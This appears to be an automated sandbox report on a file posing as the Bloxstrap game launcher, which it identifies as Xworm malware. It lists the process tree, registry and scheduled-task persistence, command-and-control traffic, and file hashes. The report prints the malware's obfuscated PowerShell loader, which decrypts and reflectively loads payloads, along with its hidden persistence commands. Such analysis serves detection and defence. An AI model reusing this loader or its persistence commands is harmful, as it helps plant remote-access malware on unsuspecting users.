Analysis Overview
SHA256
669d8928c72692d168e5c283fcff37613d98e31267b81d41931651eeed78bb8b
Threat Level: Known bad
The file Bloxstrap-v2.5.4.exe was found to be: Known bad.
Malicious Activity Summary
Xworm
Detect Xworm Payload
Command and Scripting Interpreter: PowerShell
Checks computer location settings
Executes dropped EXE
Adds Run key to start application
Enumerates physical storage devices
Unsigned PE
Uses Task Scheduler COM API
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Modifies registry class
Creates scheduled task(s)
Suspicious behavior: EnumeratesProcesses
Runs net.exe
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-31 16:47
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-31 16:47
Reported
2024-05-31 16:50
Platform
win10v2004-20240426-en
Max time kernel
147s
Max time network
149s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Xworm
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\Bloxstrap-v2.5.4.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation | C:\ProgramData\Bloxstrap-v2.5.4.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation | C:\ProgramData\XClient.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\ProgramData\Bloxstrap-v2.5.4.exe | N/A |
| N/A | N/A | C:\ProgramData\XClient.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\XClient.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\XClient.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\XClient.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe" | C:\ProgramData\XClient.exe | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Runs net.exe
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Users\Admin\AppData\Local\Temp\Bloxstrap-v2.5.4.exe
"C:\Users\Admin\AppData\Local\Temp\Bloxstrap-v2.5.4.exe"
C:\ProgramData\Bloxstrap-v2.5.4.exe
"C:\ProgramData\Bloxstrap-v2.5.4.exe"
C:\ProgramData\XClient.exe
"C:\ProgramData\XClient.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\XClient.bat" "
C:\Windows\system32\net.exe
net file
C:\Windows\system32\net1.exe
C:\Windows\system32\net1 file
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PJS/BcanmwhMWKk5w9O57bBkKeB36Vroa2tTsg6h/tQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xxW68pRc8sY81E0yM+WLKA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $EIthi=New-Object System.IO.MemoryStream(,$param_var); $DVqsl=New-Object System.IO.MemoryStream; $sHwPF=New-Object System.IO.Compression.GZipStream($EIthi, [IO.Compression.CompressionMode]::Decompress); $sHwPF.CopyTo($DVqsl); $sHwPF.Dispose(); $EIthi.Dispose(); $DVqsl.Dispose(); $DVqsl.ToArray();}function execute_function($param_var,$param2_var){ $UlOJl=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $pCbaQ=$UlOJl.EntryPoint; $pCbaQ.Invoke($null, $param2_var);}$ZNyHX = 'C:\ProgramData\XClient.bat';$host.UI.RawUI.WindowTitle = $ZNyHX;$CXdWy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ZNyHX).Split([Environment]::NewLine);foreach ($schqS in $CXdWy) { if ($schqS.StartsWith(':: ')) { $BGpTM=$schqS.Substring(3); break; }}$payloads_var=[string[]]$BGpTM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_623_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_623.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_623.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_623.bat" "
C:\Windows\system32\net.exe
net file
C:\Windows\system32\net1.exe
C:\Windows\system32\net1 file
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PJS/BcanmwhMWKk5w9O57bBkKeB36Vroa2tTsg6h/tQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xxW68pRc8sY81E0yM+WLKA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $EIthi=New-Object System.IO.MemoryStream(,$param_var); $DVqsl=New-Object System.IO.MemoryStream; $sHwPF=New-Object System.IO.Compression.GZipStream($EIthi, [IO.Compression.CompressionMode]::Decompress); $sHwPF.CopyTo($DVqsl); $sHwPF.Dispose(); $EIthi.Dispose(); $DVqsl.Dispose(); $DVqsl.ToArray();}function execute_function($param_var,$param2_var){ $UlOJl=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $pCbaQ=$UlOJl.EntryPoint; $pCbaQ.Invoke($null, $param2_var);}$ZNyHX = 'C:\Users\Admin\AppData\Roaming\startup_str_623.bat';$host.UI.RawUI.WindowTitle = $ZNyHX;$CXdWy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ZNyHX).Split([Environment]::NewLine);foreach ($schqS in $CXdWy) { if ($schqS.StartsWith(':: ')) { $BGpTM=$schqS.Substring(3); break; }}$payloads_var=[string[]]$BGpTM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 82.90.14.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 68.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | selected-thongs.gl.at.ply.gg | udp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 19.221.185.147.in-addr.arpa | udp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 22.236.111.52.in-addr.arpa | udp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
| US | 147.185.221.19:80 | selected-thongs.gl.at.ply.gg | tcp |
Files
memory/1432-0-0x00007FFFFD8A3000-0x00007FFFFD8A5000-memory.dmp
memory/1432-1-0x0000000000110000-0x0000000000924000-memory.dmp
C:\ProgramData\Bloxstrap-v2.5.4.exe
| MD5 | dbb820772caf0003967ef0f269fbdeb1 |
| SHA1 | 31992bd4977a7dfeba67537a2da6c9ca64bc304c |
| SHA256 | b2ac1e407ed3ecd7c7faa6de929a68fb51145662cf793c40b69eb59295bba6bc |
| SHA512 | e8ac879c7198dffb78bc6ee4ad49b5de40a5a7dbbda53d427d0a034941487d13c8bb2b8d590a1fcdd81cd6abb8f21fdfcd52924eb00c45a42ee06c1e4b3d590f |
C:\ProgramData\XClient.exe
| MD5 | 2271dd87f3bf9de4b0cdffe63adbf8f4 |
| SHA1 | 9ffbaf8862a5c5098bc98a11af024d8de23efa84 |
| SHA256 | 2de44472db0baa936146b4194c9b5463e7fa8ce7f38d3c020decaf3ef7f1bff0 |
| SHA512 | 58eaef8c7d63daa1207118fcc1b099f27e97acc5447f84a20eaf8741619cf4dbd149327f5701a0d8501c285dbc4e12ab1f1da1dd877ababd78bda0a5c1762ded |
memory/4728-28-0x0000000000E80000-0x0000000000E98000-memory.dmp
memory/3168-30-0x00007FFFF9F5B000-0x00007FFFF9F5C000-memory.dmp
memory/4728-29-0x00007FFFFD8A0000-0x00007FFFFE361000-memory.dmp
C:\ProgramData\XClient.bat
| MD5 | a34475715e45e8367d3cbba514f176de |
| SHA1 | 9c20ae085c7a0c65c2565d7160773b5c59441759 |
| SHA256 | 6df02430ef3b5f9bc01d0e62dbfc425e47323df4fd5a09cae01f3b17825c89d7 |
| SHA512 | 776a46e92c021cee8e970972f4e37729fdc6aa58c24caa3d9788887599ce3a56a7321d3484ce680d2f900038482d365bc606ec692d56d83a5482f3aab1d21879 |
memory/4876-38-0x000001ED5E0E0000-0x000001ED5E102000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z2yhjlfs.dr0.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4876-42-0x000001ED5E330000-0x000001ED5E338000-memory.dmp
memory/4876-43-0x000001ED5E360000-0x000001ED5E398000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 5c0923e8e7765d761022bd427d59e9ca |
| SHA1 | 7490e1b19c5662e6339a68ba67920992dbfa3d33 |
| SHA256 | 299f9fcb2628833eea10626dc3888f94f104d317cb95c846ef61e3cf4521efa7 |
| SHA512 | a8e9a422d44ddfa8ceba2b245660e2657b3d2bd416d59dcc667baa74fcf113ec09b9b1c394aec37fe0c8aac10f938c710de3c0909db03b605097aa62569c01e1 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 661739d384d9dfd807a089721202900b |
| SHA1 | 5b2c5d6a7122b4ce849dc98e79a7713038feac55 |
| SHA256 | 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf |
| SHA512 | 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8 |
C:\Users\Admin\AppData\Roaming\startup_str_623.vbs
| MD5 | 47ac0afd532e94d7393cad30f2ee1162 |
| SHA1 | d04a845ee060407d3f2d4f46003806cc54dd76de |
| SHA256 | 5ea2708c84c04ff9fdadd656fa736480014347ec599556f0583f598c31fc604b |
| SHA512 | 378b2d45393bbf413e39b2a68c9ea51b1a84d22d54951a9c69f0d4ec77fa2228f80d8db3e9713b97b02912a107235cf1109b233a9b71517a9443e670bb3a7b37 |
memory/4728-65-0x000000001BAD0000-0x000000001BAE0000-memory.dmp
memory/3388-76-0x000001C56C990000-0x000001C56C9A8000-memory.dmp
memory/4728-81-0x00007FFFFD8A0000-0x00007FFFFE361000-memory.dmp
memory/3168-82-0x00007FFFF9F5B000-0x00007FFFF9F5C000-memory.dmp
memory/4728-83-0x000000001BAD0000-0x000000001BAE0000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\XClient.exe.log
| MD5 | 2ff39f6c7249774be85fd60a8f9a245e |
| SHA1 | 684ff36b31aedc1e587c8496c02722c6698c1c4e |
| SHA256 | e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced |
| SHA512 | 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1 |